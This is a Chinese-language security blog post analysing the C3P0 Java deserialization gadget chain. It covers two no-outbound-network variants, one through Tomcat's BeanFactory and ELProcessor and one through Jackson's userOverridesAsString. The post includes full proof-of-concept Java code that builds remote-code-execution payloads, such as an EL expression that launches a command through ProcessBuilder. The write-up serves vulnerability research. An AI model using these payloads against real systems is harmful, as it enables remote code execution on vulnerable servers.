Diggid's Blog

C3P0的不出网方式利用

字数统计: 1.7k阅读时长: 7 min
2021/10/13 Share

前言

看了陈师傅的知识星球,ysoserial中C3P0这条链的两个不出网升级版,记录一下

C3P0的依赖

  • com.mchange:c3p0
  • c3p0:c3p0

两个依赖都可以,但是序列化SUID不一样,所以在实战黑盒测试的时候,第一个比较常见,如果第一个没反应的话可以试一下第二个。

Tomcat依赖

分析

我们知道,在打RMI/JNDI注入的时候,会这么打:

  • RMI:jdk 6u132、7u122、 8u113 以下
  • LDAP:jdk 11.0.1、8u191、7u201、6u211 以下
  • 利用Tomcat原生依赖的javax.el.ELProcessor和org.apache.naming.factory.BeanFactory,以BeanFactory作为ObjectFactory(工厂类)、ELProcessor作为resourceClass(工厂加载的目标类)来封装成ResourceRef作为Reference来注册到RMI Registry中,从而绕过trustCodebaseURL的限制

第三种方式比较特殊,前两种是远程加载恶意的ObjectFactory,而第三种是用tomcat依赖中的BeanFactory作为ObjectFactory,然后在BeanFactory#getObjectInstance中触发调用任意类的public、单参数String类型的方法,原作者找到的是javax.el.ELProcessor#eval(String),在tomcat依赖下,可以解析EL表达式实现从JNDI注入 -> EL表达式注入 -> RCE

简单分析一下BeanFactory#getObjectInstance -> javax.el.ELProcessor#eval(String) 的源码

实现这一目的,需要可控getObjectInstance的的第一个参数,也就是Reference,我们可以将Reference设置为ResourceRef,具体为什么要这样设置值,和getObjectInstance方法的处理有关

1
2
3
4
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "calc";
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()\")"))

分析过程如下:

  1. 判断第一个参数Reference是不是ResourceRef对象,不是的话return null
  2. 获取ResourceRef中的className,即”javax.el.ELProcessor”,获取当前线程的ClassLoader,调用loadClass获取javax.el.ELProcessor类并newInstance实例化

image-20211013182732005

image-20211013182742248

  1. 调用ref.get("forceString")获取名为forceStringStringRefAddr
  2. 调用ra.getContent();获取值,即x=eval
  3. 设置参数列表为单参数String存在paramTypes变量中
  4. 根据x=eval,以,分割获取key=value形式的数组(这里没有,因此只有一组x=eval,循环只处理一次),循环处理,在每个循环中,以=为分割,所以x=eval就会分割为xeval,其中”x”表示param,”eval”会传给setterName,调用beanClass.getMethod(setterName, paramTypes)来获取对应的方法,在这里是ELProcessor#eval
  5. 绑定param和获取的方法

image-20211013183729790

  1. 获取ResourceRef的所有属性值,即ResourceRef#add方法添加的
  2. 遍历属性值,获取属性值的类型,当属性值的类型是”scope”、”forceString”…时,则continue,所以会直接进行属性值类型为x的处理,获取前面说的绑定param的方法,即x对应的ELProcessor#eval,同时获取x的值,即我们设置的EL表达式,然后反射调用

image-20211013184359004

分析完之后,上面的ResourceRef的初始化设置就很好理解了。

回到C3P0这条链子,贴一下调用栈

1
2
3
4
5
PoolBackedDataSourceBase.readObject()
ReferenceIndirector.getObject()
ReferenceableUtils.referenceToObject()
Class.forName0()
URLClassLoader.loadClass()

Sink点是出网的URLClassLoader.loadClass(),回顾一下ReferenceableUtils.referenceToObject()

image-20211013184731184

ref即Reference是我们完全可控的,因此满足了调用ObjectFactory#getObjectInstance且第一个参数Reference可控。所以Sink点换成上面说的BeanFactory#getObjectInstance -> javax.el.ELProcessor#eval(String)即可。

POC

只需要修改getReference的部分即可,另外提一下EL表达式的写法,注意下面这一段

1
new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"'])

我们可以通过['(java.lang.String[])']['(xxx)']的方式来显式指定方法的参数类型,而后续我们直接传入js风格的数组即可['cmd','/c','"+ cmd +"']

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package gadgets.c3p0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import utils.Reflections;
import utils.Serializer;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0WithoutNet {
private static final class EvilPool implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference () throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "calc";
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()\")"));
return ref;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

public static void main(String[] args) throws Exception{
ConnectionPoolDataSource evilPool = new EvilPool();
Object poolBackedDataSourceBase = Reflections.getObject(PoolBackedDataSourceBase.class.getName());
Reflections.setFieldValue(poolBackedDataSourceBase, "connectionPoolDataSource", evilPool);

Serializer.writeToFile("src/main/java/gadgets/c3p0/exp.bin", poolBackedDataSourceBase);
Serializer.readFromFile("src/main/java/gadgets/c3p0/exp.bin");
}
}

Jackson组件依赖

这个实际上是用在Jackson反序列化漏洞当中的,作为Jackson反序列化的一个Gagdets,触发点并非readObject,而是Jackson反序列化的触发方式:无参/有参构造函数(根据payload格式来决定)、setter/getter(根据payload来决定)。所以严格意义上来说,这个链子不算通用的C3P0 Gadgets。

分析

在C3P0依赖中有这样一个类com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase,直接看其构造方法

image-20211017201556335

调用getUserOverridesAsString来获取成员变量userOverridesAsString,然后传入C3P0ImplUtils.parseUserOverridesAsString()中处理,继续跟进

image-20211017201757846

红框的部分,处理上面传入的userOverridesAsString成员变量,先去除前缀HexAsciiSerializedMap+任意一字符,赋值给hexAscii,然后调用fromHexAscii将十六进制数据转换为Ascii字符,如”6161”转换为”AA”,具体处理过程就不分析了。

然后传入SerializableUtils.fromByteArray

image-20211017202057147

直接一个赤裸裸的二次反序列化。

POC

二次反序列化Gadgets视环境来定,下面exp.bin里面是jdk8u20的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package gadgets.c3p0.withoutnet;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.ByteArrayInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

class Person {
public Object object;
}

public class C3P0WithJackson {
public static void main(String[] args) throws Exception{

InputStream in = new FileInputStream("src/main/java/gadgets/c3p0/withoutnet/exp.bin");
byte[] payload = toByteArray(in);
String payloadHex = bytesToHex(payload, payload.length);
String poc = "{\"object\":[\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",{\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ payloadHex + ";\"}]}";
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(poc, Person.class);

}

public static byte[] toByteArray(InputStream in) throws IOException {
byte[] bytes = new byte[in.available()];
in.read(bytes);
in.close();
return bytes;
}

// 字节转十六进制
public static String bytesToHex(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);

for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]); // 保证两个字符以内,1字节
if (sTemp.length() < 2) {
sb.append(0);
}

sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
CATALOG
  1. 1. 前言
    1. 1.1. C3P0的依赖
  2. 2. Tomcat依赖
    1. 2.1. 分析
    2. 2.2. POC
  3. 3. Jackson组件依赖
    1. 3.1. 分析
    2. 3.2. POC